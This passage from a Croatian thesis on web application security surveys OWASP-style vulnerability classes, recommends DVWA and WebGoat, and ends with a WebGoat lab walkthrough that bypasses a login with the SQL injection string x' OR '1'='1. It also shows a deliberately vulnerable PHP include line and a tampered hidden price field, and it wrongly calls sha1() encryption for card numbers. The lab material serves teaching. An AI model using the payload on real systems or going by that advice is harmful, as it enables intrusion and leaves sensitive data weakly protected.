6.2.4. Prekoraenje kapaciteta meuspremnika (engl. Buffer Overflow) Prekoraenje kapaciteta meuspremnika se odnosi na programsku pogreku, odnosno stanje kada proces pokuava spremiti podatke izvan granica meuspremnika odreene duljine. Posljedica toga je da oni podaci koji su viak, prepiu susjedne memorijske lokacije gdje se mogu nalaziti drugi meuspremnici i varijable.

6.2.5. Kvaliteta programskog kda (engl. Code Quality) Budui da programeri prilikom izrade web projekata ponekad znaju biti nemarni, ostavljajui biljeke kako neto napraviti i sl, napada moe iskoristiti tu nemarnost te ugroziti sigurnost rada web stranice. Zbog toga je preporuljivo slijediti naela ispravnog programiranja i ne dozvoliti da sitne greke poput zaostalih komentara programera utjeu na samu sigurnost funkcioniranja itave web aplikacije. 6.2.6. Konkurentnost (engl. Concurrency) Greka konkurentnosti procesa se dogaa u sluajevima kada dva ili vie korisnika pokuavaju pristupiti istoj informaciji u isto vrijeme. Ovaj sigurnosni manjak moe uzrokovati smanjeni integritet baze podataka, a u najgorem sluaju, moe doi i do gubitka podataka. Prilikom izrade web aplikacija potrebno postaviti vei naglasak na ovaj aspekt raunalne sigurnosti.

6.2.7. Cross-Site Scripting (XSS) Cross-site scripting (XSS) je oblik ranjivosti web aplikacije kod koju napada koristi kako bi postavio skriptu sa klijentske strane, iji e uinak biti vidljiv svim posjetiteljima web stranice. Vie o ovom tipu napada moete pronai kod opisivanja metoda programa DVWA, ranije objanjeno u ovom projektu, pod naslovom XSS.

109

6.2.8. Denial Of Service (DDOS) Kod ovog tipa napada, napada sprjeava pristup web serveru kroz preoptereivanje raunalne mree slanjem mnogostrukih zahtjeva (engl. requests) prema web serveru. Na taj nain sprjeava se da legitimni korisnici pristupaju podacima na web stranicama ili ostalim servisima web servera koji je napradnut.

Najtipiniji DDOS napad je napad kod kojeg napada zatrpava mreu sa nepotrebnim informacijama. Ukoliko neki korisnik eli pristupiti web stranici koja je izloena DDOS napadu, budui da je napada preopteretio web server koji isporuuje web stranicu, ta web stranica se nee prikazati korisniku.

Napada moe na slian nain slati spam poruke na neiji email. Budui da kod svakog email servisa postoji ogranienje prostora (engl. quota) u koji se mogu spremiti email poruke, napadaeve poruke mogu popuniti ovaj prostor i time sprijeiti dobivanje legitimnih email poruka.

Distribuirani DDOS napad se sastoji u tome to napada moe instalirati svoj maliciozni program na tue raunalo i s njegovog raunala pokretati DDOS napade bez doputenja korisnika tog raunala. Glavne mete DDOS napada su profitni web posluitelji, banke, tvrtke koje obrauju podatke sa kreditnih kartica te DNS posluitelji. Nain zatite od ovakvog tipa napada ukljuuje instaliranje antivirusnog softvera i provoenje skeniranja sustava u odreenim vremenskim intervalima, pravilno instaliranje i konfiguriranje vatrozida, podeavanje spam filtera i sl. 6.2.9. Nepravilno postupanje sa grekama (engl. Improper Error Handling) Nepravilno postupanje sa grekama je problem kod kojeg je detaljan prikaz greke koja se dogodila vidljiv krajnjem korisniku. Detaljan tekst greke moe ukljuivati povjerljive informacije o bazi podataka, o tablici u kojoj se dogodila greka i sl. Ovim porukama je krajnjem korisniku vidljivo puno vie nego to bi to trebalo biti. Na taj nain, potencijalni napada moe osmisliti strategiju iskoritavanja ranjivosti i kompromitirati rad web stranice. 110

Web aplikacije tijekom svojeg rada generiraju mnoge greke poput null pointer exception, system call failure, poruke da je baza podataka nedostupna i sl. Prikaz informacije o greci koja se dogodila mora se oblikovati na nain da se prikae odgovarajua poruka krajnjem korisniku, informacija o problemu administratoru web stranice, ali se isto tako mora paziti da se ne prikae nikakva informacija koja bi mogla posluiti napadau u iskoritavanju ranjivosti web stranice.

Ukoliko se ne ukloni ovakav oblik sigurnosnog propusta, napadai osim to mogu saznati odreene informacije iz teksta greke, mogu i kreirati DDOS napad ili buffer overflow napad ime mogu dodatno ugroziti sigurnost rada web aplikacije. Kako bi se sprijeio prikaz neeljenih informacija o greci koja se dogodila krajnjem korisniku, a potencijalnom napadau, potrebno je kreirati odreene web stranice koje e sluiti samo za prikaz teksta odreenog tipa greke. Sljedei primjer prikazuje tekst koji se nebi smio prikazati ukoliko je postavljena adekvatan sustav za prikaz poruke o grekama:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'zo LIMIT 1' at line 1

6.2.10. SQLI SQL injection je metoda koji omoguuje napadau web stranice koja ima ovaj sigurnosni propust, pristup bazi podataka iz koje napadnuta web stranica uzima podatke.

Vie o ovoj metodi moete pronai u tekstu o SQLi, prilikom objanjavanja metoda programa DVWA, pod naslovom SQL Injection.

6.2.11. Nesigurna komunikacija (engl. Insecure Communication) Povjerljive informacije se ne smiju slati preko mree u izvornom obliku. Web aplikacije esto tek nakon autorizacije pokreu prikaz web stranica preko sigurne veze

111

(SSL veze). Na taj nain, napadau ostavljaju mogunost da napada prikupi osjetljive informacije prije nego to je postavljena sigurna veza. Kako bi se sprijeilo prikupljanje osjetljivih informacija potrebno je enkriptirati osjetljive podatke popust brojeva kreditnih kartica, koji se prenose mreom.

Kod sljedeeg primjer je prikazano kako je lako enkriptirati povjerljive podatke koritenjem samo jedne funkcije u PHP programskom jeziku:
echo sha1('broj moje kreditne kartice');

6.2.12. Nesigurna konfiguracija (engl. Insecure Configuration) Budui da je vrlo esta pojava da programeri koji se bave razvojem web aplikacije nisu povezani sa timom ljudi koji se bave odravanjem web stranica, potrebno je da lanovi oba tima zajedniki surauju kako bi sinkronizirali nadogradnje aplikacija i tim sprijeili mogue kompromitiranje aplikacije.

Postoji itav niz konfiguracijskih propusta poput: Neaurirani softver sustava Propusti u softveru sustava koji omoguuju ispisivanje sadraja direktorija Nepotrebne backup i sline datoteke Nepravilno postavljena doputenja na direktorije Nepotrebno pokretanje servisa poput udaljene administracije operativnog sustava i sl. Neki od ovih propusta mogue je pronai uz pomo alata za sigurnosno skeniranje. Instalacija sigurnog softvera i sigurne konfiguracije, osnovni su zahtjev za postizanje sigurnosti web aplikacije. 6.2.13. Nesigurna pohrana podataka (engl. Insecure Storage) Veina web aplikacija ima potrebu za spremanjem osjetljivih podataka u bazu podataka ili u neku datoteku. Osjetljivi podaci mogu biti brojevi kreditnih kartica, zapisi o klijentima ili sline povjerljive informacije. Kako bi se zatitili ovi podaci, koriste se razliite metode enkripcije. Iako se metode enkripcije vrlo lako 112

implementira i koristi, mnogi web developeri prave greke prilikom njihove implementacije u web aplikaciju.

Neke od greaka koje programeri rade ne razmiljajui o moguim posljedicama na sigurnost ukljuuju nesigurnu pohranu osjetljivih kljueva, certifikata i lozinki, nepravilno spremanje povjerljivih podataka u memoriju, lo odabir algoritama za kriptiranje i sl. Najjednostavniji nain na koji se web aplikacija moe zatititi od napada na podatke koji su zatieni nekom od kriptografskih metoda jest to manje koristiti kriptografiju te koritenjem samo onih podataka koji su neosporno potrebni.

Ukoliko se kriptografske metode moraju koristiti, onda se preporua koritenje biblioteka koje su dostupne svim korisnicima te koje nemaju nikakve otvorene ranjivosti.

6.2.14. Izvravanje malicioznih programa (engl. Malicious Execution) Ranjivost preko izvravanja maliciozne datoteke esta je pojava kod mnogih web aplikacija. Ovaj tip ranjivosti se sastoji u tome da zlonamjerni korisnik izvri programske naredbe pod privilegijama administratora operativnog sustava na kojem se izvrava web stranica, a odvija se bez znanja autora web stranice koja je napadnuta.

Sljedei primjer predstavlja funciju PHP programskoj jezika preko koje se moe u aplikaciju ukljuiti udaljena maliciozna skripta preko parametra filename.
include $_REQUEST['filename];

6.2.15. Parametar Tampering Web Parametar Tampering je napad na sigurnost web aplikacije na nain da se mijenjaju parametri koji se prenose izmeu klijenta i servera, s ciljem modifikacije podataka poput privilegija korisnika, identifikacijskog broja i koliine nekog proizvoda i sl. Ovi su podaci uobiajeno spremljeni u kolaiima, sakrivenim

113

elementima unutar HTML forme ili u URL tekstu te se koriste kako bi omoguavale funkcionalnost i kontrolu aplikacije.

Ovaj oblik napada pokree maliciozni korisnik koji eli u svoju korist iskoristiti ranjivost web aplikacije prilikom ega koristi programe poput Webscarab ili Paros proxy. Koritenjem ovih alata, napada moe na ranjivoj web stranici zaobii ogranienje koritenja pojedinih HTML elemenata na web stranici, itati podatke koji se nalaze u skrivenim HTML elementima (engl. hidden fileds), zaobii validaciju na klijentskoj strani koja se temelji na javascript tehnologiji i sl.

Na primjer, ukoliko apliakcija koristi skrivena polja (engl. hidden fields) kako bi spremala informacije o statusu, maliciozni korisnik uz pomo gore navedenih programa moe promijeniti te informacije i promijenjene informacije poslati web aplikaciji kao da su izvorne. Izvorna informacija o cijeni:
<input type=hidden id=1008 name=cost value=70.00>

Koji maliciozni korisnik moe promijeniti tako da smanji vrijednost, npr:

<input type=hidden id=1008 name=cost value=20.00>

6.2.16. Upravljanje sesijama (engl. Session Management Flaws) Sesije su omoguile da se podaci koji se prenose preko HTTP protokola, koji je protokol bez stanja (engl. stateless), podrava stanja. To znai ako je jednom korisnik autentificiran od strane web aplikacije, sljedei POST ili GET zahtjevi prema web stranici ne bi smjeli pokretati postupak autentifikacije.

Podaci o sesiji su spremljeni na web serveru u obliku odreenog identifikatora sesije, a mogu se nalaziti u bazi podataka, u datotekama ili u memoriji web servera. Mnoge web aplikacije omoguuju prijavu u njihovu web stranicu ve ako je specificiran autentifikacijski kolai. Napada moe ukrasti kolaie sa nekog raunala, do kolaia se moe doi i preko XSS napada i na druge naine. 114

Programeri koji razvijaju svoje identifikatore sesija esto zaboravljaju ukljuiti sloenost i nasuminost kao elemente poveavanja sigurnosti. Ukoliko identifikator sesije za pojedinog korisnika nije sloen i generiran nasumino, aplikacija je ranjiva za krau sesija (engl. session hijacking).

Ukoliko svi podaci o autentifikaciji korisnika u sustav koji se premose mreom nisu zatieni SSL vezom i zatieni od ostalih vrsta napada poput XSS, napada moe ukrasti prijavljenom korisniku njegovu sesiju te na taj nain kompromitirati njegov identitet.

6.2.17. Web servisi (engl. Web Services) Web servis je bilo koji servis koji je dostupan preko Interneta, koristi standardizirani XML sustav prijenosa poruka i nije vezan uz odreeni programski jezik ili operacijski sustav. Budui da su bazirani na otvorenim standardima kao to su HTTP i XML-bazirani protokoli ukljuujui SOAP i WSDL, web servisi su neovisni o hardveru, operativnom sustavu i programskom jeziku.

Budui da se zahtjevi prema web servisu alju kako bi se pokrenula odreena funkcija koja je definirana unutar WSDL-a, jezika za opisivanje web servisa, tako napada moe dodati parametre zahtjeva koji zapravno ne postoje i kompromitirati funkcionalnost web servisa.

6.2.18. Zakljuak o programima DVWA i WebGoat Programi DVWA i WebGoat su odlini programi koji simuliraju odreene vrste sigurnosnih propusta i pruaju sigurnu okolinu da svaki pojedinac koji ih instalira na svoje lokalno raunalo, moe prouavati naine kako da probije sigurnosne mehanizme koje ove aplikacije pruaju.

115

Osim to pruaju stvarne zadatke iz sigurnosti web aplikacija, pruaju i niz linkova preko kojih se korisnik moe nauiti o tipu ranjivosti koji e rjeavati. Instalacija i podeavanje ovih apliakcija je vrlo jednostavno i moe se provesti na vie operativnih sustava, odnosno ove aplikacije se mogu instalirati na Windows, Linux i Mac operacijske sustave.

Ove dvije aplikacije preporuio bih svim raunalnim profesionalcima, a pogotovo sigurnosnim strunjacima i web developerima kako bi vie mogli nauiti o sigurnosti web aplikacija o kojima se brinu ili koje razvijaju.

6.3 WebGoat SQLi demonstracija

U WebGoat programu u demonstirati String SQLi napad. Potrebno je prijaviti se u WebGoat aplikaciju i odabrati Injection Flaws -> LAB:SQL injection -> Stage 1: String SQL injection. Kod ovog primjera pokuat demonstrirat u kako se moe pristupiti administracijskom dijelu aplikacije ukoliko je sustav za prijavljivanje ranjiv za SQLi.

Na sljedeoj slici prikazan je forma za prijavu korisnika kod koje je potrebno odabrati korisnika pod nazivom Neville.

Slika 6.1. Prijava korisnika u lekciji kod koje se ispituje SQLi ranjvost 116

Za SQLi napad potrebno je instalirati dodatak Temper Data za Firefox kojim se modificira HEADER koji se alje prema web aplikaciji. Ovaj dodatak moete pronai na sljedeoj lokaciji: http://tamperdata.mozdev.org/.

U Firefoxu pronaite opciju Alati -> Tamper Data i unutar dijalokog okvira koji se prikazao kliknite na gumb Start Tamper ime se zapoinje snimanje http prometa.

Slika 6.2. Tamper Data pokretanje snimanja prometa Zatim je potrebno klinuti na gubm Login kod kojeg je odabran korisnik Neville bez upisivanja ikakvog teksta kao njegove lozinke. Pojavit e se dijaloki okvir kao to je prikazano na slici dolje te je u polje password potrebno upisati x' OR '1'='1.

117

Slika 6.3. Postavljanje SQLi teksta

Slika 6.4. Prikaz administracije uspjeno svladavanje lekcije Na ovaj nain smo pristupili administraciji.

118

7. Literatura
1. http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2004-1093.pdf (uitano 25.10.2010.) 2. http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2007-07199.pdf (uitano 25.10.2010.) 3. http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2009-09276.pdf (uitano 25.10.2010.) 4. http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplo mski.pdf (uitano 25.10.2010.) 5. http://www.cert.hr/filehandler.php?did=412 (uitano 25.10.2010.) 6. http://www.owasp.org/index.php/Top_10_2007-Methodology (uitano 25.10.2010.) 7. http://www.owasp.org/index.php/Main_Page (uitano 25.10.2010.) 8. http://www.owasp.org/index.php/OWASP_Testing_Project (uitano 25.10.2010.) 9. http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project (uitano 25.10.2010.) 10. http://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology (uitano 25.10.2010.) 11. http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20%202010.pdf (uitano 3.1.2011.) 12. http://owasptop10.googlecode.com/files/OWASP_Top_10__2010%20Presentation.pptx (uitano 3.1.2011.) 13. http://www.owasp.org/index.php/Top_10_2010 (uitano 3.1.2011.) 14. http://www.symantec.com/connect/articles/password-crackers-ensuring-securityyour-password (uitano 3.1.2011.) 15. http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution (uitano 3.1.2011.) 16. http://www.breach.com/resources/whitepapers/downloads/WP_Detecting_Remot e_File.pdf (uitano 3.1.2011.) 17. http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 (uitano 3.1.2011.) 18. http://www.acunetix.com/websitesecurity/xss.htm (uitano 3.1.2011.) 119

19. http://www.owasp.org/index.php/Unrestricted_File_Upload (uitano 4.1.2011.) 20. http://msdn.microsoft.com/en-us/library/ff648339.aspx (uitano 4.1.2011.) 21. http://www.us-cert.gov/cas/tips/ST04-015.html (uitano 4.1.2011.) 22. http://www.owasp.org/index.php/Improper_Error_Handling (uitano 4.1.2011.) 23. http://www.owasp.org/index.php/Insecure_Configuration_Management (uitano 4.1.2011.) 24. http://www.owasp.org/index.php/Insecure_Storage (uitano 5.1.2011.) 25. http://www.owasp.org/index.php/Web_Parameter_Tampering (uitano 5.1.2011.) 26. http://www.owasp.org/index.php/Broken_Authentication_and_Session_Managem ent (uitano 5.1.2011.) 27. http://www.hackyeah.com/wp-content/uploads/2010/05/HackYeah-SQLInjection.pdf (uitano 7.1.2011.) 28. http://iaclub.ist.psu.edu/files/2010-09-09-dvwa-slides.pptx (uitano 8.1.2011.) 29. http://www.dvwa.co.uk/download/DVWA_BruCON.pdf (uitano 8.1.2011.) 30. http://os2.zemris.fer.hr/ns/malware/2007_zelanto/sql.html (uitano 7.1.2011.) 31. http://os2.zemris.fer.hr/ns/malware/2007_zelanto/xss.html (uitano 7.1.2011.) 32. http://www.owasp.org/index.php/Category:OWASP_Guide_Project#tab=Downlo ads (uitano 5.1.2011.) 33. http://www.zimbio.com/SQL/articles/x8xK0bDC06/SQL+Injection+Walkthrough+DVWA (uitano 5.1.2011.) 34. http://securitymusings.com/article/1350/dvwa-damn-vulnerable-web-app (uitano 5.1.2011.) 35. http://www.owasp.org/index.php/Category:OWASP_Project (uitano 04.01.2011.) 36. http://www.owasp.org/index.php/Category:OWASP_Project#tab=Release_Qualit y_Projects (uitano 04.01.2011.) 37. http://www.owasp.org/index.php/Category:OWASP_Project#tab=Beta_Status_P rojects (uitano 04.01.2011.) 38. http://www.owasp.org/index.php/Category:OWASP_Tools_Project (uitano 04.01.2011.) 39. http://www.owasp.org/index.php/OWASP_WebScarab_Project (uitano 05.01.2011.) 40. http://www.owasp.org/index.php/OWASP_WebScarab_NG_Project (uitano 05.01.2011.) 120

41. http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project (uitano 06.01.2011.) 42. http://www.owasp.org/index.php/Category:Attack (uitano 07.01.2011.)

121

8. Popis priloga
8.1. Popis slika
Slika 2.1. Postotak najeih ranjivosti Web aplikacija po klasama ............................. 5 Slika 2.2. Deset najee koritenih napada na web aplikacije ................................... 10 Slika 3.1. Shema CSRF napada ................................................................................... 23 Slika 3.2. Curenje informacija kod XSS napada ......................................................... 27 Slika 4.1. WebScarab .................................................................................................. 72 Slika 4.2. WebScarab NG ........................................................................................... 72 Slika 4.3. WebGoat - Lekcija o krai sesije ................................................................ 74 Slika 5.1. Izgled DVWA suelja ................................................................................. 78 Slika 5.2. XSS ............................................................................................................. 84 Slika 5.3. Suelje s naredbenim retkom za ping IP adrese .......................................... 88 Slika 5.4. Passwd file, ali nema shadow file ............................................................... 89 Slika 5.5. Suelje CSRF ranjivosti za low razinu zatite ............................................ 92 Slika 5.6. Suelje CSRF ranjivosti za high razinu zatite ........................................... 92 Slika 6.1. Prijava korisnika u lekciji kod koje se ispituje SQLi ranjvost .................. 116 Slika 6.2. Tamper Data pokretanje snimanja prometa ........................................ 117 Slika 6.3. Postavljanje SQLi teksta ........................................................................... 118 Slika 6.4. Prikaz administracije uspjeno svladavanje lekcije ............................... 118

8.2. Popis tablica

Tablica 2.1. Prikaz web stranica za ranjivostima .......................................................... 5 Tablica 3.1. Usporedba popularnih preglednika u 2009. godini ................................. 12 Tablica 4.1: Izvor: OWASP Top 10 - 2010 Document ............................................... 34 Tablica 4.2. Jaina rizika ............................................................................................. 36 Tablica 4.3. Opis injekcije (engl. injection) ................................................................ 40 Tablica 4.4. Opis Cross-Site Scripting (XSS) ............................................................. 42 Tablica 4.5. Opis loeg upravljanja autentikacijom i sesijama ................................... 44 Tablica 4.6. Opis nesigurne direktne reference na objekte ......................................... 46 122

Tablica 4.7. Opis CSRFmetode ................................................................................... 48 Tablica 4.8. Opis krive konfiguracije sustava sigurnosti ............................................ 50 Tablica 4.9. Opis nesigurne kriptografske pohrane..................................................... 53 Tablica 4.10. Opis neuspjelog ograniavanja URL pristupa....................................... 55 Tablica 4.11. Opis nedovoljne zatite na razini transportnog sloja ............................. 57 Tablica 4.12. Opis neprovjerenog preusmjeravanja i prosljeivanja .......................... 59 Tablica 4.13. Popis projekata distribucijske kvalitete (engl. Release Quality Projects) ..................................................................................................................................... 62 Tablica 4.14. Popis projekata beta statusa................................................................... 65

123